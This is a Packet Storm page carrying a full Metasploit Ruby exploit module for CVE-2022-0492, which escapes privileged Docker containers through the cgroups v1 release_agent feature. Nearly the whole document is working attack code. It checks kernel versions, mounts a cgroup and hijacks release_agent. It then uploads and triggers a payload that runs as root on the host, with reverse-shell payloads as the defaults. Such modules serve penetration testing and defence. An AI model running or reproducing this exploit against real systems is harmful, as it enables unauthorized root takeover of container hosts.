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packetstormH00die, Kevin Wang, T1erno, Yiqi Sun, metasploit.comPACKETSTORM:176099
HistoryDec 07, 2023 - 12:00 a.m.

Docker cgroups Container Escape

2023-12-0700:00:00
h00die, Kevin Wang, T1erno, Yiqi Sun, metasploit.com
packetstormsecurity.com
211
docker cgroups container escape
linux kernel vulnerability
privileged flag
sys_admin linux capability
namespace isolation
cgroups v1 release_agent feature
privilege escalation
root access
exploit module
cve-2022-0492
metasploit
ubuntu host
kernel release.

7.4 High

AI Score

Confidence

Low

0.095 Low

EPSS

Percentile

94.8%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html  
  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::Kernel  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Docker cgroups Container Escape',  
'Description' => %q{  
This exploit module takes advantage of a Docker image which has either the privileged flag, or SYS_ADMIN Linux capability.  
If the host kernel is vulnerable, its possible to escape the Docker image and achieve root on the host operating system.  
  
A vulnerability was found in the Linux kernel's cgroup_release_agent_write in the kernel/cgroup/cgroup-v1.c function.  
This flaw, under certain circumstances, allows the use of the cgroups v1 release_agent feature to escalate privileges  
and bypass the namespace isolation unexpectedly.  
  
More simply put, cgroups v1 has a feature called release_agent that runs a program when a process in the cgroup terminates.  
If notify_on_release is enabled, the kernel runs the release_agent binary as root. By editing the release_agent file,  
an attacker can execute their own binary with elevated privileges, taking control of the system. However, the release_agent  
file is owned by root, so only a user with root access can modify it.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Yiqi Sun', # discovery  
'Kevin Wang', # discovery  
'T1erno', # POC  
],  
'Platform' => [ 'unix', 'linux' ],  
'SessionTypes' => ['meterpreter'],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
},  
'Privileged' => true,  
'References' => [  
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af'],  
[ 'URL', 'https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/'],  
[ 'URL', 'https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC'],  
[ 'URL', 'https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492'],  
[ 'URL', 'https://github.com/SofianeHamlaoui/CVE-2022-0492-Checker/blob/main/escape-check.sh'],  
[ 'URL', 'https://pwning.systems/posts/escaping-containers-for-fun/'],  
[ 'URL', 'https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html'],  
[ 'URL', 'https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation'],  
[ 'URL', 'https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/'],  
[ 'CVE', '2022-0492']  
],  
'DisclosureDate' => '2022-02-04',  
'Targets' => [  
['BINARY', { 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } }],  
['CMD', { 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK]  
}  
)  
)  
register_advanced_options [  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
]  
end  
  
def base_dir  
datastore['WritableDir']  
end  
  
def check  
print_status('Unable to determine host OS, this check method is unlikely to be accurate if the host isn\'t Ubuntu')  
release = kernel_release  
# https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-0492  
release_short = Rex::Version.new(release.split('-').first)  
release_long = Rex::Version.new(release.split('-')[0..1].join('-'))  
if release_short >= Rex::Version.new('5.13.0') && release_long < Rex::Version.new('5.13.0-37.42') || # Ubuntu 21.10  
release_short >= Rex::Version.new('5.4.0') && release_long < Rex::Version.new('5.4.0-105.119') || # Ubuntu 20.04 LTS  
release_short >= Rex::Version.new('4.15.0') && release_long < Rex::Version.new('4.15.0-173.182') || # Ubuntu 18.04 LTS  
release_short >= Rex::Version.new('4.4.0') && release_long < Rex::Version.new('4.4.0-222.255') # Ubuntu 16.04 ESM  
return CheckCode::Vulnerable("IF host OS is Ubuntu, kernel version #{release} is vulnerable")  
end  
  
CheckCode::Safe("Kernel version #{release} may not be vulnerable depending on the host OS")  
end  
  
def exploit  
# Check if we're already root as its required  
fail_with(Failure::NoAccess, 'The exploit needs a session as root (uid 0) inside the container') unless is_root?  
  
# create mount  
folder = rand_text_alphanumeric(5..10)  
@mount_dir = "#{base_dir}/#{folder}"  
register_dir_for_cleanup(@mount_dir)  
vprint_status("Creating folder for mount: #{@mount_dir}")  
mkdir(@mount_dir)  
print_status('Mounting cgroup')  
cmd_exec("mount -t cgroup -o rdma cgroup '#{@mount_dir}'")  
group = rand_text_alphanumeric(5..10)  
group_full_dir = "#{@mount_dir}/#{group}"  
vprint_status("Creating folder in cgroup for exploitation: #{group_full_dir}")  
mkdir(group_full_dir)  
  
print_status("Enabling notify on release for group #{group}")  
write_file("#{group_full_dir}/notify_on_release", '1')  
  
print_status('Determining the host OS path for image')  
# for this, we need the line that starts with overlay, and contains an 'upperdir' parameter, which we want the value of  
mtab_file = read_file('/etc/mtab')  
host_path = nil  
mtab_file.each_line do |line|  
next unless line.start_with?('overlay') && line.include?('perdir') # upperdir  
  
line.split(',').each do |parameter|  
next unless parameter.start_with?('upperdir')  
  
parameter = parameter.split('=')  
fail_with(Failure::UnexpectedReply, 'Unable to determine docker image path on host OS') unless parameter.length > 1  
host_path = parameter[1]  
end  
break  
end  
  
fail_with(Failure::UnexpectedReply, 'Unable to determine docker image path on host OS') if host_path.nil? || host_path.empty? || host_path.start_with?('sed') # start_with catches repeat of command  
  
vprint_status("Host OS path for image: #{host_path}")  
  
payload_path = "#{base_dir}/#{rand_text_alphanumeric(5..10)}"  
print_status("Setting release_agent path to: #{host_path}#{payload_path}")  
write_file "#{@mount_dir}/release_agent", "#{host_path}#{payload_path}"  
  
print_status("Uploading payload to #{payload_path}")  
if target.name == 'CMD'  
# for whatever reason it's unhappy and wont run without the /bin/sh header  
upload_and_chmodx payload_path, "#!/bin/sh\n#{payload.encoded}\n"  
elsif target.name == 'BINARY'  
upload_and_chmodx payload_path, generate_payload_exe  
end  
register_files_for_cleanup(payload_path)  
  
print_status("Triggering payload with command: sh -c \"echo \$\$ > #{group_full_dir}/cgroup.procs\"")  
cmd_exec(%(sh -c "echo \$\$ > '#{group_full_dir}/cgroup.procs'"))  
end  
  
def cleanup  
if @mount_dir  
vprint_status("Cleanup: Unmounting #{@mount_dir}")  
cmd_exec("umount '#{@mount_dir}'")  
end  
super  
end  
end  
`